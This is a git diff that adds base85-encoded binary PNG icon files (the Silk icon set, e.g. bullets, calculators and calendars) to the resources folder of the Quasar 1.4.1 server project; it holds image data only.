zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-%M_H=O!(Kw&{<9vg>5sxM7Y}K&+ zaVqV>2dg?$?}z`N|7UG5-|D8TLf!k;{Mi5T|C#@x_qjwjYRvdu`ttwR|Kb1QzwCco x|Ef}l>({^Sf7bts|6%{R{?h*$`OZ2jjF;IsFRaMi76-J3!PC{xWt~$(698OLQAz*+ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_black.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_black.png new file mode 100755 index 0000000000000000000000000000000000000000..57619706d10d9736b1849a83f2c5694fbe09c53b GIT binary patch literal 211 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-$h^>lFz(Kw&{<9vg>5sw~gS5O!4 zr|{HuUFIBKiQyL}eBJ-L{`UVT|6_O~L{G%N{Wbre{kQtZ_0LvEh;M1%88TWKCf#J1{+MCu ze}>{Y3}p)$dd@LSxXv*BDZ`w%Ai;)h49$BO+7B~yonn~xfnmW{hDARa7XMB^@Fnli z*MdV|D-J%XIq|OcFmZ9VHU4G|Wt)FpElGsbW*H9eKmKLj*~!PC{xWt~$( F69A@)clQ7Q literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..e2e4cd942a9257ea22308e609b4a291fdb1cb8c0 GIT binary patch literal 289 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbK}X@F0N>;M1%cR8~h376aH%6ueT z_DF=>4p-*G;Zi$Ym_f*u`G7AUkc6O%#TF-1RQLL_oX*zWx!apTYJB6?fp^4@bB!pf7f>WFBkk@FY&)k@&6=WppC)C)gnL# zh?E5R1vBK9S5#C~HQc>-|KX#@Pk#RX^XFfZ&gw}(d3R42#}En0tp~3%HW=`*9%vWU zWo_D>_FwR)w|Il~A9WAS&j~xzY@eNK?3ng^&u@vQvNSnPC;#haCYCM{TVi9iBI=x? b9vbT(vShCNeOyEmXe5KDtDnm{r-UW|t3r1R literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_disk.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_disk.png new file mode 100755 index 0000000000000000000000000000000000000000..209c6a78625ac205aa1d8f60693844aad6500dc9 GIT binary patch literal 483 zcmV<90UZ8`P)iurf=~3UFXxqI7+S%~yN; z&QFMWB8?geDax2;<5v0zO%9O+HCOhCe@lCtqI|U`n(Bw>E`n0X60GiU=_L{j`ZeTrWl7@6TVgmzQ|3 z5;Op46VsoczbZwwqJ7S==^_3_&=Ox0MY;dOCY;|ap-3z08F!}8RFQf3;+NC07*qoM6N<$g0j}hYXATM literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_feed.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_feed.png new file mode 100755 index 0000000000000000000000000000000000000000..1a0e0f18f8bf7b2c5bcac354aa09be0ebab3f284 GIT binary patch literal 262 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`Ea{HEjtmUzPnffIy#(?lOI#yL zg7ec#$`gxH85~pclTsBta}(23gHjVyDhp4h+5i>J@N{tuu{fRlV-?hn1vRw7=~`H|6d*}wJTwx9NUJ^A-PC{g+mZ-(ezrYk@A zSA66PNIvzSX`%9eCjvLPn~<&zkcB#E_)bRoqqqjuJxZi%ZEMd z&v*NvhWGUx|LY&|dWg;8xl+M&hVS8ire(E1*YzxOk&@M$(lG^3@FTwG4`2q}|MzJl`;TvAJqJgK0avYrlBnT>bQg#<`2lt-JZ1 z`$at`N(W9?l&fYApP>;wTQg>XP27B|_=V0%i`{@4Q|B9|E%nG)>IO6+f2nQBYX6$` zp$(f88#hNaZB1|8me#s0t8+(o->&=#drGDqY?ywiX~v=Ec}F`I9_w0oyld%+-W8`O ztUNVg)#-_A&raEJZd!baV+PO{(j`HD!3><7oIL!B>RJX*p1=AE1b_a5z&{|!WmC2W zDvS4YaSV~ToSd*gP9Px7P4vO_X^Bn6SB|>4nyfW#iA-S1+GcibTHCW#PHO@fRi&A0 zV|8VPEge@hteM(6bLG5^T>R=G4qib{G50(s&St(TX2+^mCX!vb^yY<_V;)=N8U8r2 V-=01F{1>2A44$rjF6*2UngG;M1%wG!nl=NZ~8GjZ5u zrCX$|U#4m?UEgA^q4jbT+qGsuL8DeplP+!3J{|KZdUhMk?KfN4Z?m-DZrOUOx${g% z_nEE^au0p}DgT?=W@;06>jv*44lM@z5COi}qdy?cP^k7lvLH_eng z-J?*=fG+C6UF^qx?8$HN(SGpMfb!Bf^4VVW-HG+sRrT3T_1shT)<^c)M)ulO_S;VO z-(U9NYWCuQ_TriM-COtKbNJ?d_~xPb=$iTIhWYNP`|zXt^U40PR#yN304H=(PE!B^ z4GlC%Q&w47TwP*gW^jduiLc4Z%g)c<;OOY-?eO#S^!4@k{fYM`L;wH)VM#bvzwwmVh2mwJ|Gb>YLMHrVwR8q&pQcslw z%I6ZdFfdY*mSKY_kg(A;?f@DRu@5003`|2x23eBPaj>002ov JPDHLkV1ln&&F%mI literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_orange.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_orange.png new file mode 100755 index 0000000000000000000000000000000000000000..2ab15dd977d75c569b91f118b62efda13a949a5e GIT binary patch literal 269 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbK}PJmB{>;M1%*Euo#tY-M%#QcAf z%;8Xm<6#W%OBlWbMOs+@xAOo6Z>2Ka&tQ0#$MB|z;eRLp|6bw${SyBti2vW3|9?;3 z|Gm}!50w5tQ1|~}`TwIG|Bto*Ki2dAbld+klmDNY^8dz~|M#~2f4JxW!@brQ#FT;d zij)NT1v5wiK?4L_g@RuPi~j@VZ9H8ZLnJOICoGUmcqk_HB*{(a!L-1zDGwZk1i~hX zPJiw$BoHt`Wa=YVp$8(9CyOOI3ne5yf1H@QWbR_dm~~7|rOCCgf#xuHy85}Sb4q9e E01VrBtN;K2 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_picture.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_picture.png new file mode 100755 index 0000000000000000000000000000000000000000..386cb302f16b36e4ae67dc9f0aea1b4a051c22c6 GIT binary patch literal 470 zcmV;{0V)28P)``2`~zsHhc-<7$F60BN8G$;h9Qc)$m zPjaF(rLGTDO~!4K5|M!ls#FRA{~+9_mh$B%Z0UrmNw|v!8R{*)VvIsyE!@@WjQ0Lu zG45gF&|%`^8m{Z2fQS@JKovnbzF5W>!$F>t_qCIs%wUXRcKm?<7uRk6jy>0U{$XW$ zkEc3qYB0utYFr3Nl5}@-_vnko8F3szAXJEHK*aJ;t?e|ae*4Gt7rT9)_)n@C%m4rY M07*qoM6N<$f~O_aVE_OC literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_pink.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_pink.png new file mode 100755 index 0000000000000000000000000000000000000000..7d2683e15f4f8bd53d4fc5c5dabf58611ec535c8 GIT binary patch literal 266 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbK}W`IwK>;M1%XSpqZ;P&K&+w1@C z|JJ$f*yy(Vy4#(5ZjWBMy?O8U2`G5j?bHdk^XJ^ITz0$p$?eMzx9`8*e*JO#{c7%; zPxC*2Uhw7X@^9akefd7&>yN2le@y@KW8JqO>%ae6`1RMppTCd){B!2l-$nm&Ap(ybgam@7 zOrG@AT}WWU^l2i`U4XNyO8DmPB8tRUO_W;dd@O1TaS?83{ F1OV5Rg^2(F literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_purple.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_purple.png new file mode 100755 index 0000000000000000000000000000000000000000..36cd3fc3e5bb64d7dccc47e6d077e8f5ec56b5fc GIT binary patch literal 269 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbK}PJmB{>;M1%Ef`vh7;aWFJnmum z@4+y~n_*!#!?{9+>(vZT8yMaK1)~_Y#WCzjVmO?^aH^5vLo37A4u+qd48J#4JlUT9 zWoOO1-L)U~3?(g`0f9G$Jt#`73 z_KK7Q`2{mb0YL)OgZCJYD@<);T3K F0RS~SbV~pL literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_red.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_red.png new file mode 100755 index 0000000000000000000000000000000000000000..ead3b0bc2fe0a7c407efe2ce03962eeebefb1bf8 GIT binary patch literal 269 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbK}PJmB{>;M1%TN(IoGB7=6VEE6< zFo%JAAp`e02Bzx_j8B;u-ZFs%w=uBoVPHGVz

-`2!QfS7wHvEDXO{7@kyAzN@ME zP+R-CqxEw~+n1d5uO)e3%L~3vp73?b#2;;SKh~`LwRPj~Jv)By+4;Az;lc%{PN2Oa zB|(0{3{pVQ00CE_;Mc+8|3G;gPZ!4!iOb0e3nUXBiitf*aua$G78WG%*g;4jXv*YC zPu+zCCQP3;<$;M1%KW>x$aXseqZkZo9 zQ$O#O`+7j(^LCkU7kob-kOzu?JLmS}QV>uLknwSg)VDMCKrT?h*CT3QkLv>&KW-+0 z^j-=AN=c%Nf%iY<> z9E2T?ysmj0E8F9E8Er-2j&#et|xLF%%BBo(JMfEC#5QQ<|d}62BjvZR2H60wE-$h^mK6y(Kw&{<9vg>(S^W+6Zii9 z|Nhthr~iNb*Z!}6uiN$Dz5neG3a-`baBX8yz1H+_;eX)`ni0%X8XBDc-`=Ph(Uan2 zYsR{H!kvIN--9isvHznRsC#5QQ<|d}62BjvZR2H60wE-$h_H=O!(Kw&{<9vg>(S^W+6Zii9 z|Nhthr~iNb*Z!}6uiN$Dz5neG3a-`baBX8yz4q@v|B?28{s)#N@CGn3@%_y|zAV9T z66e<&B4?b6oF&azg|C(V&1ZbI_D}pL`}(^FT2yXwG1Ph~$Q@h8mJYOz!PC{xWt~$( F699+YQR)By literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_white.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_white.png new file mode 100755 index 0000000000000000000000000000000000000000..a9af8d44bf3c001adc41e3774f526bd1d1448b1f GIT binary patch literal 201 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6SkfJR9T^zbpD<_bdI{u9mbgZg z1m~xflqVLYGB~E>C#5QQ<|d}62BjvZR2H60wE-%M_H=O!(Kvthf+1gnf`Cilxr3SC zCq+y2HhAz(;&}R`x^q^&(wiOs&2u-u^*?dO$=Q}CfYva0y85}Sb4q9e0M-pfO8@`> literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_wrench.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_wrench.png new file mode 100755 index 0000000000000000000000000000000000000000..26f2c1e9c3c36eb0ffe5d7f83e14760bac6faafd GIT binary patch literal 433 zcmV;i0Z#sjP)|jj!X8u;WdC(?faDQ-jrwjg6U^ znU9Z;mX?-?h=`Jsl9ZH`k&%&vgoK=&oP~vjot>R$liQS(lu?7#Nqy0dj*fMm-Fud)rpCThpFIno7{Y%-F%_mm8HC#xaOdsprfzEqrT~-zv-r?rm4Z|t;FlF z$Lp}i?6R`5vdHYUwY9a%?Yq0Xz`(%9#>UCX$;->j($dn^)z#M4*5Tpd=H}+oA53Kc z001d;QchC<0v8)pRaIMGVq$f5frN*QkdmgWudl`0p%yqVH&Jq$kM<<@0EmYUzk_urfjU+{$KF25Lw)D4AFoYYQL=$m$wu@*%r{U0#8o bfdT*kdngI3r+Ht*00000NkvXXu0mjf@zUcO literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_yellow.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/bullet_yellow.png new file mode 100755 index 0000000000000000000000000000000000000000..a567d3ba25e055bb663a85438236ba387aa6e2b9 GIT binary patch literal 269 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbK}PJmB{>;M1%TSFLbE@XJTisAoZ zhB=uG3-cJxO=q}1pW*2mhPRtQg4-Gy_Ovk^?qxVNnc>4$hOfIAe(q)XeSqQap@z2? z8$MiV`1Eky=Lc)QTuuLatLW>K^tOMJpuCNzi(`ny<>Z6~k_ivR#GWL%2|Wl43lVtiAS4hp zY4W6J?m_|+rca&nz*Xph$W%e`L}#Idr00(lQzhG}s4?zzVdkG3gj2<%zA*q!$2x>uX%NDCytJWaYrPXj4 zU1!!qgC^xq+`MO3-MxA@QLjVPPv?85H*G=(KHPIYzrN>QxF!Im4#IxZ@krPd?&kid z_ZSiplU6Pr0XN$E74*}446)Vy(5l0Tt?p~}o7mB#KX>@D#~Be*<>IiI~I2tp#x z12i!dI9uRn_jAuUmOh`s_#3O#Q@}+t$Jn&L2-mkQOn%5i(=-?p`Lj?c!2VW(AbHes1cgEB@zPzW^m!s{<8 zH^}g>l=Q%z`79itWZZZq>1T&4kE_!Ru7HeXVR6SO2noJcy-wyON8U|XUoeAf zHk*)T8OiUqhEc#)EX_nb3VMysq8mBfIar@DEC@xNQ&ko5*l*<1J}BWse+#xk2O71^ zZKRS>{bS{FIWTbz8yidq6)TE@^|cgAnWrExWsHLC$l+FDW*C*!T_{XINt{JZ95tYc z_p#09P!;b%OW8qQ$`}Pj@4<%r;2b2&DJYXe*!EsR<%dl-6KGEyY2+ae zQs4@dsSC*31|bfe!20Q-oXHShTsI61&!<8X5%II3+V+8k*E-I+hzUk`L)aOtuD0000< KMNUMnLSTY|9xOrt literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator.png new file mode 100755 index 0000000000000000000000000000000000000000..701a60a5a4d5673d0e3dd3fc8f316a2ebdd7fad9 GIT binary patch literal 543 zcmV+)0^t3LP)@VozFAzEvI&~0#LAwY>5FK39Rg@@bp>BeO zw$McyP2NlT?u|(Uk#_LH<=ljK?mhP;k2#J5heX6H%H{HXCX=~NBoZlARe>=^i32c& z5WqPH!!SOV%jHw0Qn@9fcc5CW>Jq=4|6^OL)m9$QSCC95(-PFn^7EgPn-5p9Xf%2j zT0v11s^jrE9G#rvGccKoT*Is1-&Wq)um?di)g6Ha$O`*a;Q$Laz(Aw!N@+sNvdAvNPK8Qq^wr_gSuSaWLG&M-o9;vBq+hGMlxGxKZ0_1Wz znv69PFh5E+M2titU>*W4;JO)kE$QxbPq19@+D+v)+U|OcH05hn- z^9BftDEsz1&z7-itp~p6;XLO&pY!G6%mJ8_$z&S0+uaEUg9wMi zh(scYMx&J3p4I(+KO7FnP@zzmSkG_KVzb!_V*ZBHGE)W)qD@1Djh;ybvT`|Cqe%}M^Wu8PdaGPVM$wTbzq|{0}G7TcW!EaA!?fWL5dnF z2D1#A%gQ1{g%n-+HK!)Dlhy}{SMT#sR?}5CT<^_$KhO1hFK%8Q0G>o5QQGbHy4UN4 z-|t5t5I`^(q@BEzx!diA)oSg?WHKG`{1kndOr{LiH}UWKW;UBQh5$~dv&;3qNOBK< z6Dck!h5#fUsZ-Y;K)kqu^Qu)$YLd8c>lvnXFEC?xNzX_*9FAdt%jFsXCOPxeHuELp zFTfqg-O+$vuZLo>h+A49r%wOWlrp#YD^1Eo?) zL9N-#D4jluZnryn2R0iWqF%3~TCHMjZ4ISTiKfZra#Wd2hTget8v!s|Ec7rG3PG#Y zqE@TXG#ZVD!hAj-R4NrsU^ZKZ0Y;;d0$QyWn$0E}jRs9aK$S`b<#HJryByEY9z^Wu z7^36+8mIXIK&#bJKqL}@!C;_}a5xOTUQa<$W(IF&597;275Zqho@L z6tK9oL;;;nhpOFf57H3D&j|6EGeai==5_;&5FOuzq!RQ3MdquSQhNU0$7%aMdZXDe6pPbIMdfFJbdI- zo#K;Stn+@~=uTRl*mol(KG5Bm6XL_wF}xG+!V{68w>-|5{uhAg>BRnd?u%s-o9lIA aCiCwjy#9~3ed^Z$00005{JVI0Q&7rJd-bKnj|5%n4Y6@5>kN(HX=3gQZxSrZA^D5`8Z{esFV$a=C&4Y&IK|N+p5V^n66#)oqx|kqlhGx5);u zsv>-l96t2NFEmRe1Q3hGh}cmhru%PZV>^(XtHf%s42#($e$7cdlnQdcQ79CqhaHY} zyWNhyM|@1ZpfK^W6`$NCSeYwDeEb%?>QfjQ=vx#MNy1E(6}NLiqLca7_c-C zw*4#yshx1P6=Oh9fCs{Q+!ZvgX5YGU0KZFcF+ZJhDUou^;chBKPt~sF{`&m~w!YgI xP*SiXDXQ3;es!-nZI>P$eqOh4_jYDZKLCCG2jOQ#mq`Es002ovPDHLkV1gc3OCJCL literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_error.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calculator_error.png new file mode 100755 index 0000000000000000000000000000000000000000..0bc4288a47268f2dc44b7ece051373f6be4d8e02 GIT binary patch literal 731 zcmV<10wn#3P)Mg|`>;I-sPfu@FiJ7-B z5|_*6qaY1OALCy(e|OAov)Q`p_c(zliX0sd2iiOxEQUZ`q}Qmfe}3P@ZZ4V#n3SqX zy9GjBu_){nSP+^Cn6XCPzUJeo>pE{*1$DkheC<4swzh#ltQNEGXEGTqEG)oow_|;M z9f?GOU#mC$1U)}ypq92_nr5>CLMofVU=V>ofS=6POa;;Zpfo7p;PDas{`LZ9qkxJ6 zgBU!JWf}2!oGVycTf^ewB3cz0o~{tux(2cR`6Zkv>_b3LWEKjA5Dtg=b(n%Hm(Ih; zC*bb%fc%<=w|^W*TRtH3@S?4ez#u$WSy@3W7USJtU6t|a)qQmKjR0jCso6Ok@F-{} zIT&SaxPd^^wVHxRB*F>K_BwH@+Y5I`38wmmzMlzFOylH*C=6A-mAZG%U2CGQX-0Bs zNunrJ=7PYJpT+6WWtgR9TB~4av=64XiB?w@hX=;`Hh zI*t6hI1cp;!Rao*GPdaBOL+Y(OEXQFtyZQ1XqF;uNpo*7jv`sfxNoIST{2!@t*;BJ-ko6&RX1Gnf{r!El>X(K%C+p|)lFLAvS4UDUb| z(NtO&f_mYYleP&VL@lBi!?ADAIn?^$ssrbJ&U>D7KJWKA4{slUKC{{EU07IXClU#) zt*s%IN+F$2^GffOUtV5DEEan|K0Y3zo*&MSxw*NjSP$`kJB~ym?|J}>i;G>co+`{w z@h>M6O3?!#d1Tk_KZDkn$4&n$=mRAf9+Y7Wy~gc_Z+MR^9*_3|mX?;z0D94U>yPF; z;h%uV@h9g4PEJm+v$KOnqk&qjhDxP^t*tGTN+lEu1>|zMzbp8jfE)UsaB!e?Vdk_`FT#F-EL!le;>QMyJ$9>tfpSCvsbHCu6ZYZ@@6KJ zK``~9pS5{dQ#!r?FjI-L&o_V&2h=ku{#kH>>@xy%X(Lb>Vb z>5rqMqxU2d$t4B^gP}78CX0%K+cZ3cd$aUdYMf{m^v_~~m`weDl+&_@K%&-6e002ovPDHLk FV1i#7Nd^D_ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar.png new file mode 100755 index 0000000000000000000000000000000000000000..658913852d60fc6ca8557568d26b8e93e7d56525 GIT binary patch literal 675 zcmV;U0$lxxP)w!? zFisFv!T|cmRtW;1f$>$s0G>^*GP-h`H-mzTP&3`b(d;hDCL-{+T2LSiJi1S%34OTG znWn~v^Brk?FQB#MFuosf?qnt!t(A%g#tAAA`tV{p&t%~)6GMus628BV?|aP6=Lr0O zrxPn=6Fy3{fE84gngF`mQ;ZG4p#ul`mYb)mJw@Q%q_eddamvg>kv)yI#B0M!3sxev z!1s9dp#Z>KE{BK5@W%p1Kt!2cEYj2vBiUHDJ-HCTS{r%b!`Wj=!r&Tb+LFBfRN!=5 zl7aC&Ul)Foh{s4J>JU)^p9+C-Q44MR8(8|WK})8dx#e}T%`v`wFOp3_q9I1QsXihN zJVaEgK9Y|1KAJgEb`m$%VXVVh!8pM>`_Eli`}OBJfVb0i{tF{QT8%v&>u>-7002ov JPDHLkV1feuD8K*! literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_add.png new file mode 100755 index 0000000000000000000000000000000000000000..17679db6bdaa6771296fb016d21b0fdfc79e48b2 GIT binary patch literal 723 zcmV;^0xbQBP)5ETnpqPAn6zU<&FIp9Il1xF$N9eryjdy0$g_1Iflt9aIG62{ zJh%k%4xHmhLo?3#;voiuIS4Atz|yRg7EJQs@{lI*wgUi{`ac_PABetl_Z_I|3#8?`eD|ed6f0%TQcqH8_?!MPbDcMaNaP9 zID)f}I*Fo?b1j|35nOoE$%C)^xO?7^8AZ<;nKNMoiOUGW!7B)eqks)d%85f*Ut3O5 z2y1J~34@4P(`OKd5v!{!vZqb$PX^8#GKfRC{H%*7-3NGlMMxrkzLPKvXnpw>efz<- zL+i*V2}yntup}dJsUeA?2-Z}W0WfXy6oMdN)xt6+rt=t6;#s+T8Fd@$sj8kz$=Hk3 zZm&ETLN;{(Q5bOJWj6qApFR-~(46b$`TH|e&0c^HJqyOKzz2@nc}oH6k;Ja!@6_`> zujX8rB$7<5R4{TFutjs$=EoolyOHUV|OXy7|=wB>Mn!!NA5kcv+BTC4y7002ovPDHLk FV1h%aQKkR@ literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_delete.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_delete.png new file mode 100755 index 0000000000000000000000000000000000000000..69a3b10ad106f0c1603e5016097973b248988c05 GIT binary patch literal 742 zcmVObCawiW7N$cdk%fiWKxW)*|jDAeXeGGH=bv+%Yb0At;_2hK@Oz=OUd zs6-?p5s4eiKq3J^HYb3p(tNXDf2NI|X&Y2k)pL&rR8{r-lc>JX5!F{Zqn!Mn)@{e0 ztExr>#tEWI7{JAjA%ei?Qs)q109T(4(LQ*HM^^+DA=cHzg0d-OO+?_2wV*&4cx9KC{J4yRV93}AK&+g zwcMfM)k|8NPohPoEGb+E)aL}OpsK_IXs9iwqXp(vRMOr1iH6!@@}8DaG~C6!t$UeV zwUG4d+e~k3<<9EZE+3+)0|2J%w4g8ypIp?PHkaI_hqUo z3Q-OHH!`*J78Nt{34<6TNlVY5uZkS^{&t<)HSgBt&-pBVMkBEhC;4*D*}UiZ-t)bNi10tl2Ds4Bw_k+q zN_0qTjnd$0jZzw=1yAWwrBI%rw0?AC^W3lvphb3dpFZx^Nsl-4-_nbkW% z1e6C_f$RF`R1(}2BwcV_2KUzEx@ycQfnPodp@_pEqiw)f(B2w8H6A_Us z&HlZrB_@NPYb08~NBTNzMFt}BwX;fEPOOdD0It$#5o`;pTjE%j$<+sOYzt~y<0KNh z7|JeY%G?rqyI$fLDY7R_Cu{1=iRl&uuq}fP;Q%$Q3D$>$)IN^0y5JQQfsh6SZd0{|4;Lu{NrgNbv>7>S(4%y3Ed7tnpb16j6@?@kB+6a1+I zuuOxxjvjLQKCoEE5iDLuDprBz2+96@x*OVH)ky*c3)4Sm19+b2dtkzhfjV+0&&HD= z(PyWa9CR4z&7-IFCFZJ=1akAyTChxh6S&H6VZqESIvOjOzkCN{J~r~Yriu1jy*$73 z6r;U$IB>~PU6BqP~898YX3J=*#1Z=w1DX^nQc3%5aJ00000NkvXX Hu0mjfn=oBS literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_link.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_link.png new file mode 100755 index 0000000000000000000000000000000000000000..6b106b9429aaf978ef93ef331a3a58ede07d677c GIT binary patch literal 795 zcmV+$1LXXPP))y9?D}-jUWvgMWybY$46!FOgIME@ZA%%FuOX7|428g%rR1ovp z*vgiRA}dotRFqhtz4&&XgOmBP_2T=S-|zc;f1h*Cvpq=wlKw~ZG2jX*`<1C7(`&`tbA{n!tvE#FW*>_g>)FHj747mfgZ&YfT+`Un4_TfNJ% zBY^4E7ByiO0RuvyHy1G706MaOw#z^xA86nK>a#%A8Jd-JeZUc*%Mm;TkYR@$cwP=X zl>$$SfyqL^o(GIx0|p7K@-)pB8Q&!U?c~14PSBqZ^pT;S9H9F;&`E~d1wbnSv|OTD zVY4RzXdxeqH6OkSuqKAxe!7m##CywZytmKA*Wg|hIr_x}KtHvH@b3dUU|}`83F~YC zw)p_;L{j@rl#CUj*jk9`w|;!x2;-`DE&-?1Axz{KJvY%{B1noFUsSHom7p+<8Dj9CI^RDy~c1@*LA9kS(J zNJ&XKNdc;n6@-56V`^cY1`GxR{C+=tJ|CP;C+ZvYFt&HX>-AF4?RL{lMn;B~0+d5O z3TW(^z-^fVo~0$^Gr1&i0V0tIO-)UZ%jLA@^Z8KMYAA$Zm|Y4`m_K2M0Lm)rpwVb3 zAQp=ujmv|>;ef~Efy?EB)oKNgcOHSQFa@Yoswf4N_bp>P9K-!yGbEBy3XoMO!QpVg z<#LgknMuXg98MaPRn-(wP*4z}fHKoZcS*-mBwPIm7qjx9y=#DZ$O4WPo<})uLy<0h*&I+6735Ff^4F5qzk}@P)Ff}Nlc zJ+V-1gdjvrBToYb_&=5JJoz%#Q=n#p0PUsg;0_wW6hzWF z6d(Z#0TH%uy+T9>YJjQ_4o41w#S|V(NC8qn46yPY0ExQO163;l8LV%BTT)_{lxVdB zLqhH!O}vfXt+G~AtirG?JdRPE!p4;(u<%+06sOr5$!l?%`w$ZJisblGeq3lk?M znK(IF&Lv~|%q&@!^#Q8MB|waLDd+L)A8Bgth=QmR)CiKix0+Qk`lsOTj2++4X|3MA z_x{3e%gn9zko@i4h1Ih`tu0ZJsAx1qji_-~z~gH-D8wdL6`?9WFzi$qo8J^aVr5)w?g*$f-IAT>umA~g7`KN%tnR;#U}<7 z5hMW@Lgq>E$!K>yytk^`8I7CZh3ZpP+&cH%(^WC8HJ%e5f2P*XvcxkWwQ`kGkO~lt zlII$NusS59(6q0vCnq`@4S~{naJ;w4`Jc)kW_~B`6%d;_oLG1Va7$7Us|13;&iz}O z`@n5r_O9P&2_$L=A|D7_Q*>C^p+!i-1T+MZ9OX=AAZiJ?X%jKvPl*mHtAuC}!6424^=42In{JdU?xY>Aa%fe%j@!RS-}GG7@u}MX(vJ z>tJ!K2+sw+>=e;Z=V0Y$3Gq1LUIFdtdibFSPSgUs;JGo3ze>ZS-Ld{OC?6xeX_GkI zowC?tTM$B330MKQ%?H2kQ68M0%NJfGeerSnSF=wtJ002ovPDHLkV1gqb2Y3Jg literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_view_week.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/calendar_view_week.png new file mode 100755 index 0000000000000000000000000000000000000000..8fe695f51fce503e1a4838ac4a93f5b9ab95553c GIT binary patch literal 480 zcmV<60U!Q}P)@KEQ1dB*OY;8rG{0D1W!OBLkw-N=dwXm~N1QE3ov=J3VoAfqnBj^Uw zM54xfXXYG>dvA7&AS)Rd=55|*zRs-J<}fw^c=>n$4xMPD-K#DN!X#CQA!mRGN}D zZ(TUGF#(W$<^0Ccwg1U{{qg71`xTV51~7eg8EmKo6-0FJwt;A&35ej=)z?JS>H=Vx zgW<$+P+1ltJpkL>eL3^by|8WH ze>3}MeDdL&w}0&U;_Xe_W&{u=wB$OQFuT8lHo6K%Lkr8Qp~<2Rk*PT#N?1z*LjAZG z0V$SMWb~P*tCKk(rKJTl0EW#?05TH;58iGu9(7SR_g>A2D(<}aN*l$^r(ZZS?mmu3 z3%3x}wQ%n2F|r2jd;b;=GO3$dFC@Re@#xc;wls|_B8y59C9?8Bz|QWU=Kw2*J?FpO W9yz<&(0nxj0000gJ-O!jxnD7oNLq;%;3B=$mW~C-A78b#}Ym zUa~ApY&IL$YPE8+w{2VKx^DRW{x^j};R(m*^Z8S9-^=ClFHtNO4^>s2WHK4B90Evd zRNvv@{p&Eky~2wRC-6pYqSb0Y8jr^>3G5|f?PqEtk*KFqDSspqL8sF}uh+wHIK<_n z6MX#q6V3T;+&aAjAq2YJ?gK?pbdSdaP1D3|HoL3QsY$Qbi+a6|a5#)~It`Knl7dhu zghr!*N~MB8Ab@N(i+;b4$z&p9n$6}7jROaR0fNCGwg*Re{(gmpDPU86x^Us%)obw2 z=aha6oFxO>?KYy(sFbSkv{)<Xg3cSx! zV*;wSwBMGSfGRX({TECm3Yn@1ESF0eb3TJT z!7c-;DBO+#(G_BEZ~a#M_t*Fbci5Cwkwgrt00000NkvXXu0mjf2e~nc literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_add.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/camera_add.png new file mode 100755 index 